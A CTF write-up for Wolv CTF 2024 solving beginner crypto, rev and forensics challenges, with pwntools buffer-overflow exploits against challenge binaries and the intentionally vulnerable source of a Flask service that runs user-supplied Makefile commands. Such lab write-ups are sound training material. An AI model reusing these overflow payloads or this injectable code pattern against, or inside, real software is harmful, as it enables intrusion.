Wolv CTF 2024

https://ctftime.org/event/2240



CHALL’S SOLVED

CategoryChallenge
BeginnerCrypto: yORs Truly <3
BeginnerCrypto: TwoTimePad
BeginnerForensics: Hidden Data
BeginnerPwn: babypwn
BeginnerPwn: babypwn2
BeginnerRev: babyre
CryptoLimited 1
ForensicsEternally Pwned: Infiltration
ForensicsEternally Pwned: Persistence
MiscMade Sense
MiscMade Functional

Beginner

Crypto: yORs Truly <3

Overview

Author: shlswnt

Description: I have encrypted some text but it seems I have lost the key! Can you find it?

Unlock Hint for 0 points: A string of text can be decrypted by merely reapplying the XOR function with the key

yors-truly.py

Given th first chall crypto beginner, this is a classic XOR encryption problem. The plaintext is XORed with a key to get the ciphertext. If we lost the key but have the plaintext and the ciphertext, we can retrieve the key by XORing the plaintext and the ciphertext.

yors-truly.py
 1import base64
 2
 3plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
 4key = "" # I have lost the key!
 5
 6def byte_xor(ba1, ba2):
 7    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
 8
 9ciphertext_b64 = base64.b64encode(byte_xor(key.encode(), plaintext.encode()))
10
11ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")
12
13print(ciphertext_decoded)

Here’s how we can modify the code to find the key:

solver.py
 1import base64
 2
 3plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
 4
 5def byte_xor(ba1, ba2):
 6    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
 7
 8ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")
 9
10key = byte_xor(plaintext.encode(), ciphertext_decoded)
11
12print(key)

This will print the key that was used to encrypt the plaintext.

FLAG

wctf{X0R_i5_f0rEv3r_My_L0Ve}


Crypto: TwoTimePad

Overview

Author: cogsworth64

Description: One-time pads are perfectly information-theoretically secure, so I should be safe, right?

chall.py
eFlag.bmp
eWolverine.bmp

Second challenge crypto beginner is a classic example of the misuse a one-time pad (OTP). Called TwoTimePad is a hint towards this. The key should be random, secret, and never reused. However in this challenge, the same key is used to encrypt two different encrypted files (eWolverine.bmp & eFlag.bmp).

chall.py
 1from Crypto.Random import random, get_random_bytes
 2
 3BLOCK_SIZE = 16
 4
 5with(open('./genFiles/wolverine.bmp', 'rb')) as f:
 6    wolverine = f.read()
 7with(open('./genFiles/flag.bmp', 'rb')) as f:
 8    flag = f.read()
 9
10w = open('eWolverine.bmp', 'wb')
11f = open('eFlag.bmp', 'wb')
12
13f.write(flag[:55])
14w.write(wolverine[:55])
15
16for i in range(55, len(wolverine), BLOCK_SIZE):
17    KEY = get_random_bytes(BLOCK_SIZE)
18    w.write(bytes(a^b for a, b in zip(wolverine[i:i+BLOCK_SIZE], KEY)))
19    f.write(bytes(a^b for a, b in zip(flag[i:i+BLOCK_SIZE], KEY)))

The headers of the BMP files contain important information such as the size, color depth, compression method, etc. In the provided Python script, the headers of the original images are preserved. However, if we XOR the two encrypted images together, the headers are also XOR-ed.

Then, we need to XOR the two encrypted images together. Since the same key was used for both, this will effectively cancel out the key, leaving with the XOR of the two original images.

solver.py
 1HEADER_SIZE = 55  # Size of the BMP header
 2
 3with open('eWolverine.bmp', 'rb') as f:
 4    eWolverine = f.read()
 5with open('eFlag.bmp', 'rb') as f:
 6    eFlag = f.read()
 7
 8header = eWolverine[:HEADER_SIZE]
 9
10xor = header + bytes(a^b for a, b in zip(eWolverine[HEADER_SIZE:], eFlag[HEADER_SIZE:]))
11
12with open('out.bmp', 'wb') as f:
13    f.write(xor)


FLAG

wctf{D0NT_R3CYCLE_K3Y5}


Forensics: Hidden Data

Overview

Author: dree_

Description: WOLPHV sent me this file. Not sure what to comment about it

wctf_evil.jpg

Given an image file of Wolv CTF logo,



I was assumed there’s a flag on the metadata or like LSB hidden-data, and if we take look at the metada of it, we can find the flag instantly in Comment tag

$ exiftool wctf_evil.jpg
ExifTool Version Number         : 12.40
File Name                       : wctf_evil.jpg
Directory                       : .
File Size                       : 11 KiB
File Modification Date/Time     : 2024:03:15 17:23:14+07:00
File Access Date/Time           : 2024:03:18 05:44:58+07:00
File Inode Change Date/Time     : 2024:03:16 11:14:42+07:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}
Image Width                     : 250
Image Height                    : 307
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 250x307
Megapixels                      : 0.077
$ file wctf_evil.jpg
wctf_evil.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}", progressive, precision 8, 250x307, components 3
FLAG

wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}


Pwn: babypwn

Overview

Author: iqlusion

Description: Just a little baby pwn.

Connection: nc babypwn.wolvctf.io 1337

babypwn
babypwn.c

Given two attachments of this challenge babypwn & babypwn.c, is a baby bof (buffer overflow) vulnerability.

determine file type & check binary elf protection
$ file babypwn
babypwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

$ checksec babypwn
[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
babypwn.c
 1#include <stdio.h>
 2#include <string.h>
 3#include <unistd.h>
 4
 5struct __attribute__((__packed__)) data {
 6  char buff[32];
 7  int check;
 8};
 9
10void ignore(void)
11{
12  setvbuf(stdout, NULL, _IONBF, 0);
13  setvbuf(stdin, NULL, _IONBF, 0);
14}
15
16void get_flag(void)
17{
18  char flag[1024] = { 0 };
19  FILE *fp = fopen("flag.txt", "r");
20  fgets(flag, 1023, fp);
21  printf(flag);
22}
23
24int main(void) 
25{
26  struct data name;
27  ignore(); /* ignore this function */
28
29  printf("What's your name?\n");
30  fgets(name.buff, 64, stdin);
31  sleep(2);
32  printf("%s nice to meet you!\n", name.buff);
33  sleep(2);
34  printf("Binary exploitation is the best!\n");
35  sleep(2);
36  printf("Memory unsafe languages rely on coders to not make mistakes.\n");
37  sleep(2);
38  printf("But I don't worry, I write perfect code :)\n");
39  sleep(2);
40
41  if (name.check == 0x41414141) {
42    get_flag();
43  }
44
45  return 0;
46}

The fgets function in the main function reads 64 bytes into name.buff, which is only 32 bytes long. This can lead to an overflow of the check variable if more than 32 bytes are entered.

To exploit this, we need to enter 32 bytes to fill up the buff array, and then 4 more bytes to overwrite the check variable with the value 0x41414141. Here’s an solver:

solver.py
 1from pwn import *
 2
 3def exploit(io):
 4    io.recvuntil(b"What's your name?")
 5
 6    payload = b'A' * 32
 7    payload += p32(0x41414141)
 8    io.sendline(payload)
 9
10    # output = io.recvall()
11    # print(output)
12    io.interactive()
13
14if __name__ == "__main__":
15    context.update(log_level='debug')
16    try:
17        io = remote('babypwn.wolvctf.io', 1337)
18        exploit(io)
19    except:
20        io = process('./babypwn')
21        exploit(io)
running
$ python3 solver.py
[+] Opening connection to babypwn.wolvctf.io on port 1337: Done
[DEBUG] Received 0x1e bytes:
    b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x12 bytes:
    b"What's your name?\n"
[DEBUG] Sent 0x25 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode

[DEBUG] Received 0x38 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
    b' nice to meet you!\n'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 nice to meet you!
[DEBUG] Received 0x21 bytes:
    b'Binary exploitation is the best!\n'
Binary exploitation is the best!
[DEBUG] Received 0x3d bytes:
    b'Memory unsafe languages rely on coders to not make mistakes.\n'
Memory unsafe languages rely on coders to not make mistakes.
[DEBUG] Received 0x2b bytes:
    b"But I don't worry, I write perfect code :)\n"
But I don't worry, I write perfect code :)
[DEBUG] Received 0x20 bytes:
    b'wctf{pwn_1s_th3_best_Categ0ry!}\n'
wctf{pwn_1s_th3_best_Categ0ry!}
[*] Got EOF while reading in interactive
$ q
[DEBUG] Sent 0x2 bytes:
    b'q\n'
$ q
[DEBUG] Sent 0x2 bytes:
    b'q\n'
[*] Closed connection to babypwn.wolvctf.io port 1337
[*] Got EOF while sending in interactive
FLAG

wctf{pwn_1s_th3_best_Categ0ry!}


Pwn: babypwn2

Overview

Author: retu2libc

Description: A harder babypwn.

Connection: nc babypwn2.wolvctf.io 1337

babypwn2
babypwn2.c

The second one is babypwn2

determine file type & check binary elf protection
$ file babypwn2 && checksec babypwn2
babypwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn2/babypwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
babypwn2.c
 1#include <stdio.h>
 2#include <unistd.h>
 3
 4/* ignore this function */
 5void ignore()
 6{
 7    setvbuf(stdout, NULL, _IONBF, 0);
 8    setvbuf(stdin, NULL, _IONBF, 0);
 9}
10
11void get_flag() 
12{
13    char *args[] = {"/bin/cat", "flag.txt", NULL};
14    execve(args[0], args, NULL);
15}
16
17int main() 
18{
19    ignore();
20    char buf[0x20];
21    printf("What's your name?\n>> ");
22    gets(buf);
23    printf("Hi %s!\n", buf);
24    return 0;
25}

The gets function is dangerous because it does not check the size of the input, which can lead to a buffer overflow. In this case, the buffer buf is of size 0x20 (32 bytes), but gets will write past the end of the buffer if given an input larger than 32 bytes.

find get_flag address
$ gdb ./babypwn2

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  printf@plt
0x0000000000401040  execve@plt
0x0000000000401050  gets@plt
0x0000000000401060  setvbuf@plt
0x0000000000401070  _start
0x00000000004010a0  _dl_relocate_static_pie
0x00000000004010b0  deregister_tm_clones
0x00000000004010e0  register_tm_clones
0x0000000000401120  __do_global_dtors_aux
0x0000000000401150  frame_dummy
0x0000000000401152  ignore
0x0000000000401195  get_flag
0x00000000004011d0  main
0x0000000000401220  __libc_csu_init
0x0000000000401280  __libc_csu_fini
0x0000000000401284  _fini
gef➤

The goal here is to overwrite the return address of the main function with the address of the get_flag function. This can be done by sending an input of 32 bytes (to fill up the buffer) plus the size of the saved base pointer (usually 8 bytes on a 64-bit system), followed by the address of the get_flag function.

solver.py
 1from pwn import *
 2
 3def exploit(io):
 4    io.recvuntil(b"What's your name?")
 5
 6    get_flag_address = 0x401195
 7
 8    payload = b'A' * 32
 9    payload += b'B' * 8
10    payload += p64(get_flag_address)
11    io.sendline(payload)
12
13    # output = io.recvall()
14    # print(output)
15    io.interactive()
16
17if __name__ == "__main__":
18    context.update(log_level='debug')
19    try:
20        io = remote('babypwn2.wolvctf.io', 1337)
21        exploit(io)
22    except:
23        io = process('./babypwn2')
24        exploit(io)
running
$ python3 solver.py
[+] Opening connection to babypwn2.wolvctf.io on port 1337: Done
[DEBUG] Received 0x1e bytes:
    b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x15 bytes:
    b"What's your name?\n"
    b'>> '
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  42 42 42 42  42 42 42 42  95 11 40 00  00 00 00 00  │BBBB│BBBB│··@·│····│
    00000030  0a                                                  │·│
    00000031
[*] Switching to interactive mode

>> [DEBUG] Received 0x52 bytes:
    00000000  48 69 20 41  41 41 41 41  41 41 41 41  41 41 41 41  │Hi A│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000020  41 41 41 42  42 42 42 42  42 42 42 95  11 40 21 0a  │AAAB│BBBB│BBB·│·@!·│
    00000030  77 63 74 66  7b 57 6f 34  68 5f 6c 30  6f 6b 5f 34  │wctf│{Wo4│h_l0│ok_4│
    00000040  74 5f 79 30  75 5f 68 34  63 6b 31 6e  67 5f 6d 33  │t_y0│u_h4│ck1n│g_m3│
    00000050  7d 0a                                               │}·│
    00000052
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x95\x11@!
wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}
[*] Got EOF while reading in interactive
$ q
[DEBUG] Sent 0x2 bytes:
    b'q\n'
$ q
[DEBUG] Sent 0x2 bytes:
    b'q\n'
[*] Closed connection to babypwn2.wolvctf.io port 1337
[*] Got EOF while sending in interactive
FLAG

wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}


Rev: babyre

Overview

Author: iqlusion

Description: Just a wee-little baby re challenge.

babyre

The next beginner challenge is Rev called babyre

prompt
$ ./babyre
How are you today?
I'm good
Not sure how to react to that :/
Did you checkout our cool sponsors?
You should totally check them out!
I think I am forgetting something...
Oh yea the flag!
But where did I put it...
I know its in here somewhere.
Dratts! Can you help me find it?
I swear its around here somewhere.

We can check on dissasembler like IDA Pro in strings segments



or simply strings it, we can get the flag

$ strings babyre | grep wctf
wctf{n1c3_oNe_y0u_Found_m3}
FLAG

wctf{n1c3_oNe_y0u_Found_m3}



Crypto

Limited 1

Overview

Author: catgut6675

Description: It’s pretty easy to find random integers if you know the seed, but what if every second has a different seed?

chal_time.py

chal_time.py
 1import time
 2import random
 3import sys
 4
 5if __name__ == '__main__':
 6    flag = input("Flag? > ").encode('utf-8')
 7    correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242, 100, 22, 94, 108, 230, 24, 190, 23, 228, 24]
 8    time_cycle = int(time.time()) % 256
 9    if len(flag) != len(correct):
10        print('Nope :(')
11        sys.exit(1)
12    for i in range(len(flag)):
13        random.seed(i+time_cycle)
14        if correct[i] != flag[i] ^ random.getrandbits(8):
15            print('Nope :(')
16            sys.exit(1)
17    print(flag)

The given Python script that uses the current time as a seed for the random number generator. The script then checks if the XOR of each character in the flag with a random 8-bit number equals the corresponding number in the correct list. If all checks pass, the flag is printed.

To do that, we need to reverse the process. Here’s the solver:

solver.py
 1import random
 2
 3correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242, 100, 22, 94, 108, 230, 24, 190, 23, 228, 24]
 4
 5for time_cycle in range(256):
 6    flag = ""
 7    for i in range(len(correct)):
 8        random.seed(i+time_cycle)
 9        char = correct[i] ^ random.getrandbits(8)
10        flag += chr(char)
11        
12    if all(' ' <= c <= '~' for c in flag):
13        print(f"time_cycle: {time_cycle}\nflag: {flag} ")
$ python3 solver.py
time_cycle: 188
flag: wctf{f34R_0f_m1ss1ng_0ut}
FLAG

wctf{f34R_0f_m1ss1ng_0ut}



Forensics

Eternally Pwned: Infiltration

Overview

Author: dree_

Description: I recently had my passwords and other sensitive data leaked, but I have no idea how. Can you figure out how the attacker got in to my PC?

network-capture.pcap

Given the forensics challenge, we need to investigate data for evidence of network packet capture network-capture.png

We can investigate with Wireshark and analyze the every packet bytes, if we filter the most interraction is on tcp protocol & smb protocol. Both we’re gonna focusing on (tcp / smb) packet interraction.

If we filter the packet in number 446 & 550




or filter tcp.stream eq 4 (both are same filtering)



We can see the bunch of “A” characters, and if wee look closely there’s look like a base64 string between the “A” characters

Note that we have found these, next we can grep the base64 string or using tshark

$ tshark -r network-capture.pcap -Y "frame.number == 446" -x
0000  00 0c 29 ce 19 19 00 0c 29 95 a9 e6 08 00 45 00   ..).....).....E.
0010  00 6d bc 93 40 00 40 06 f5 95 c0 a8 03 85 c0 a8   .m..@.@.........
0020  03 8c b6 f1 01 bd 3f d8 46 5d d3 e1 93 41 80 18   ......?.F]...A..
0030  00 f9 b7 6e 00 00 01 01 08 0a 48 40 d9 94 00 00   ...n......H@....
0040  72 c3 00 00 00 35 ff 53 4d 42 2b 00 00 00 00 18   r....5.SMB+.....
0050  01 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00   .`..............
0060  00 00 00 08 00 00 01 01 00 10 00 64 32 4e 30 5a   ...........d2N0Z
0070  6e 74 73 4d 33 52 54 58 77 3d 3d                  ntsM3RTXw==

$ echo "d2N0ZntsM3RTXw==" | base64 -d
wctf{l3tS_

We’ve got the first part wctf{l3tS_

$ tshark -r network-capture.pcap -Y "frame.number == 550" -x

0d20  41 41 41 41 4d 33 52 6c 55 6d 34 30 62 45 78 35   AAAAM3RlUm40bEx5
0d30  58 32 63 77 58 77 3d 3d 41 41 41 41 41 41 41 41   X2cwXw==AAAAAAAA

0f20  41 41 41 41 41 41 41 41 41 41 41 41 59 6b 78 56   AAAAAAAAAAAAYkxV
0f30  4d 31 38 33 62 6a 6c 33 62 54 52 70 56 32 35 4d   M183bjl3bTRpV25M
0f40  66 51 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41   fQ==AAAAAAAAAAAA

$ echo "M3RlUm40bEx5X2cwXw==" | base64 -d
3teRn4lLy_g0_

$ echo "YkxVM183bjl3bTRpV25MfQ==" | base64 -d
bLU3_7n9wm4iWnL}

then the two last part 3teRn4lLy_g0_ & bLU3_7n9wm4iWnL}

FLAG

wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}


Eternally Pwned: Persistence

Overview

Author: dree_

Description: I get that the attackers were in my PC, but how did they achieve persistence?

MEMORY.DMP

The next forensics challenge is Persistence, that we have to investigate the dump of memory unknown profile

So we can use strings or another method to determine some profile informations like trying this examples:

$ strings MEMORY.DMP | grep "notepad"

$ strings MEMORY.DMP | grep "microsoft"

$ strings MEMORY.DMP | grep "windows"

(a bit ridiculous, but helpful 🗿)

Note that we have already know this is a dump of windows, so we can retrieve the information of it with Volatility 3

windows.info
$ volatility3 -f MEMORY.DMP windows.info
Volatility 3 Framework 2.5.0
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0xf80001852000
DTB     0x187000
Symbols file:///home/nopedawn/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 WindowsCrashDump64Layer
base_layer      2 FileLayer
KdDebuggerDataBlock     0xf80001a430a0
NTBuildLab      7601.17514.amd64fre.win7sp1_rtm.
CSDVersion      1
KdVersionBlock  0xf80001a43068
Major/Minor     15.7601
MachineType     34404
KeNumberProcessors      1
SystemTime      2024-03-09 12:05:40
NtSystemRoot    C:\Windows
NtProductType   NtProductServer
NtMajorVersion  6
NtMinorVersion  1
PE MajorOperatingSystemVersion  6
PE MinorOperatingSystemVersion  1
PE Machine      34404
PE TimeDateStamp        Sat Nov 20 09:30:02 2010

See! It’s a dump of windows, now we can retrieve the information of process are running

windows.pstree
$ volatility3 -f MEMORY.DMP windows.pstree
Volatility 3 Framework 2.5.0
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime

4       0       System  0xfa8018d8db30  71      497     N/A     False   2024-03-09 11:47:48.000000      N/A
* 224   4       smss.exe        0xfa8019c06310  2       29      N/A     False   2024-03-09 11:47:48.000000      N/A
296     288     csrss.exe       0xfa801a39a750  9       341     0       False   2024-03-09 11:47:49.000000      N/A
348     288     wininit.exe     0xfa801a3b8b30  4       77      0       False   2024-03-09 11:47:49.000000      N/A
* 468   348     lsm.exe 0xfa801a40eb30  11      144     0       False   2024-03-09 11:47:49.000000      N/A
* 460   348     lsass.exe       0xfa801a4083b0  8       569     0       False   2024-03-09 11:47:49.000000      N/A
* 444   348     services.exe    0xfa801a3ff5f0  9       200     0       False   2024-03-09 11:47:49.000000      N/A
** 640  444     svchost.exe     0xfa801a54bb30  9       243     0       False   2024-03-09 11:47:50.000000      N/A
** 1536 444     spoolsv.exe     0xfa801a93fb30  13      254     0       False   2024-03-09 11:56:05.000000      N/A
** 908  444     svchost.exe     0xfa801a5ccb30  8       197     0       False   2024-03-09 11:47:50.000000      N/A
*** 1304        908     dwm.exe 0xfa801a75a060  4       66      1       False   2024-03-09 11:47:51.000000      N/A
** 1040 444     svchost.exe     0xfa801a6d0060  4       46      0       False   2024-03-09 11:47:51.000000      N/A
** 2040 444     mscorsvw.exe    0xfa801a85db30  8       84      0       True    2024-03-09 11:49:52.000000      N/A
** 1956 444     sppsvc.exe      0xfa801a87f4f0  5       151     0       False   2024-03-09 11:47:59.000000      N/A
** 812  444     svchost.exe     0xfa801a5a49e0  34      953     0       False   2024-03-09 11:47:50.000000      N/A
** 1200 444     taskhost.exe    0xfa801a722b30  6       117     1       False   2024-03-09 11:47:51.000000      N/A
** 692  444     svchost.exe     0xfa801a5645f0  14      288     0       False   2024-03-09 11:47:50.000000      N/A
** 948  444     svchost.exe     0xfa801a5dc5f0  17      441     0       False   2024-03-09 11:47:50.000000      N/A
** 1332 444     mscorsvw.exe    0xfa801a705060  8       75      0       False   2024-03-09 11:49:52.000000      N/A
** 312  444     spoolsv.exe     0xfa801a6a6670  0       -       0       False   2024-03-09 11:47:51.000000      2024-03-09 11:55:05.000000
** 1852 444     msdtc.exe       0xfa8018e3e620  13      142     0       False   2024-03-09 11:49:53.000000      N/A
** 576  444     svchost.exe     0xfa801a521b30  12      348     0       False   2024-03-09 11:47:50.000000      N/A
*** 1848        576     WmiPrvSE.exe    0xfa801a500a10  7       118     0       False   2024-03-09 12:04:55.000000      N/A
*** 2052        576     WmiPrvSE.exe    0xfa801990fb30  9       248     0       False   2024-03-09 12:04:56.000000      N/A
** 1992 444     svchost.exe     0xfa801a46c220  6       67      0       False   2024-03-09 11:49:53.000000      N/A
** 860  444     svchost.exe     0xfa801a5c05a0  11      273     0       False   2024-03-09 11:47:50.000000      N/A
** 1380 444     svchost.exe     0xfa801a78e730  6       99      0       False   2024-03-09 11:47:52.000000      N/A
** 240  444     svchost.exe     0xfa801a41d060  18      295     0       False   2024-03-09 11:47:50.000000      N/A
** 2168 444     TrustedInstall  0xfa801a4fab30  7       223     0       False   2024-03-09 12:04:57.000000      N/A
360     340     csrss.exe       0xfa801a3bf060  7       266     1       False   2024-03-09 11:47:49.000000      N/A
* 988   360     conhost.exe     0xfa801a85e1d0  2       38      1       False   2024-03-09 11:49:15.000000      N/A
* 1868  360     conhost.exe     0xfa801a4a8630  2       38      1       False   2024-03-09 11:50:05.000000      N/A
408     340     winlogon.exe    0xfa801a3f75c0  4       97      1       False   2024-03-09 11:47:49.000000      N/A
1320    1292    explorer.exe    0xfa801a7637c0  30      712     1       False   2024-03-09 11:47:52.000000      N/A
* 896   1320    multireader.ex  0xfa801a8601d0  2       57      1       False   2024-03-09 11:54:50.000000      N/A
* 804   1320    cmd.exe 0xfa801a496450  1       21      1       False   2024-03-09 11:50:05.000000      N/A
* 1644  1320    notepad.exe     0xfa801a4ba060  1       57      1       False   2024-03-09 11:52:04.000000      N/A
* 1804  1320    cGFzdGViaW4uY2  0xfa801a8de800  8       258     1       False   2024-03-09 11:54:49.000000      N/A
* 1680  1320    cmd.exe 0xfa801a862060  1       19      1       False   2024-03-09 11:49:15.000000      N/A
* 1272  1320    iexplore.exe    0xfa801a983b30  11      381     1       True    2024-03-09 11:55:44.000000      N/A
** 1284 1272    iexplore.exe    0xfa801a503b30  16      348     1       True    2024-03-09 11:55:45.000000      N/A
2568    2492    taskmgr.exe     0xfa801ac2db30  7       124     1       False   2024-03-09 12:05:33.000000      N/A

I see there is a strange process running on PID: 1804, look like base64 cGFzdGViaW4uY2

$ echo "cGFzdGViaW4uY2" | base64 -d
pastebin.c

Hmm, A pastebin running on windows? What about the command-line dump history?

windows.cmdline
$ volatility3 -f MEMORY.DMP windows.cmdline
Volatility 3 Framework 2.5.0
Progress:  100.00               PDB scanning finished
PID     Process Args

4       System  Required memory at 0x20 is not valid (process exited?)
224     smss.exe        \SystemRoot\System32\smss.exe
296     csrss.exe       %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
348     wininit.exe     wininit.exe
360     csrss.exe       %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
408     winlogon.exe    winlogon.exe
444     services.exe    C:\Windows\system32\services.exe
460     lsass.exe       C:\Windows\system32\lsass.exe
468     lsm.exe C:\Windows\system32\lsm.exe
576     svchost.exe     C:\Windows\system32\svchost.exe -k DcomLaunch
640     svchost.exe     C:\Windows\system32\svchost.exe -k RPCSS
692     svchost.exe     C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
812     svchost.exe     C:\Windows\system32\svchost.exe -k netsvcs
860     svchost.exe     C:\Windows\system32\svchost.exe -k LocalService
908     svchost.exe     C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
948     svchost.exe     C:\Windows\system32\svchost.exe -k NetworkService
240     svchost.exe     C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
312     spoolsv.exe     Required memory at 0x7fffffdf020 is not valid (process exited?)
1040    svchost.exe     C:\Windows\system32\svchost.exe -k regsvc
1200    taskhost.exe    "taskhost.exe"
1304    dwm.exe "C:\Windows\system32\Dwm.exe"
1320    explorer.exe    C:\Windows\Explorer.EXE
1380    svchost.exe     C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1956    sppsvc.exe      C:\Windows\system32\sppsvc.exe
1680    cmd.exe "C:\Windows\system32\cmd.exe"
988     conhost.exe     \??\C:\Windows\system32\conhost.exe
2040    mscorsvw.exe    C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
1332    mscorsvw.exe    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
1992    svchost.exe     C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
1852    msdtc.exe       C:\Windows\System32\msdtc.exe
804     cmd.exe "C:\Windows\system32\cmd.exe"
1868    conhost.exe     \??\C:\Windows\system32\conhost.exe
1644    notepad.exe     "C:\Windows\system32\NOTEPAD.EXE" C:\Users\joe\Desktop\schedule.txt
1804    cGFzdGViaW4uY2  "C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe"
896     multireader.ex  "C:\temp\multireader.exe"
1272    iexplore.exe    "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
1284    iexplore.exe    "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1272 CREDAT:71937
1536    spoolsv.exe     C:\Windows\System32\spoolsv.exe
1848    WmiPrvSE.exe    C:\Windows\system32\wbem\wmiprvse.exe
2052    WmiPrvSE.exe    C:\Windows\system32\wbem\wmiprvse.exe
2168    TrustedInstall  C:\Windows\servicing\TrustedInstaller.exe
2568    taskmgr.exe     "C:\Windows\system32\taskmgr.exe"  /1

Look athe process running cGFzdGViaW4uY29tL3lBYTFhS2l1.exe, decode it cGFzdGViaW4uY29tL3lBYTFhS2l1

$ echo "cGFzdGViaW4uY29tL3lBYTFhS2l1" | base64 -d
pastebin.com/yAa1aKiu

That’s a pastebin link https://pastebin.com/yAa1aKiu, and there’s a flag on it



FLAG

wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}



Misc

Made Sense

Overview

Author: doubledelete

Description: i couldn’t log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn’t log in :P

https://madesense-okntin33tq-ul.a.run.app/

This challenge is Misc PyJail/MakeJail called Made Sense that written using the Flask.

source.py
 1import os
 2from pathlib import Path
 3import re
 4import subprocess
 5import tempfile
 6
 7from flask import Flask, request, send_file
 8
 9app = Flask(__name__)
10flag = open('flag.txt').read()
11
12def write_flag(path):
13    with open(path / 'flag.txt', 'w') as f:
14        f.write(flag)
15
16def generate_makefile(name, content, path):
17    with open(path / 'Makefile', 'w') as f:
18        f.write(f"""
19SHELL := /bin/bash
20.PHONY: {name}
21{name}: flag.txt
22\t{content}
23""")
24
25@app.route('/', methods=['GET'])
26def index():
27    return send_file('index.html')
28
29@app.route('/src/', methods=['GET'])
30def src():
31    return send_file(__file__)
32
33# made sense
34@app.route('/make', methods=['POST'])
35def make():
36    target_name = request.form.get('name')
37    code = request.form.get('code')
38
39    print(code)
40    if not re.fullmatch(r'[A-Za-z0-9]+', target_name):
41        return 'no'
42    if '\n' in code:
43        return 'no'
44    if re.search(r'flag', code):
45        return 'no'
46
47    with tempfile.TemporaryDirectory() as dir:
48        run_dir = Path(dir)
49        write_flag(run_dir)
50        generate_makefile(target_name, code, run_dir)
51        sp = subprocess.run(['make'], capture_output=True, cwd=run_dir)
52        return f"""
53<h1>stdout:</h1>
54{sp.stdout}
55<h1>stderr:</h1>
56{sp.stderr}
57    """
58
59app.run('localhost', 8000)

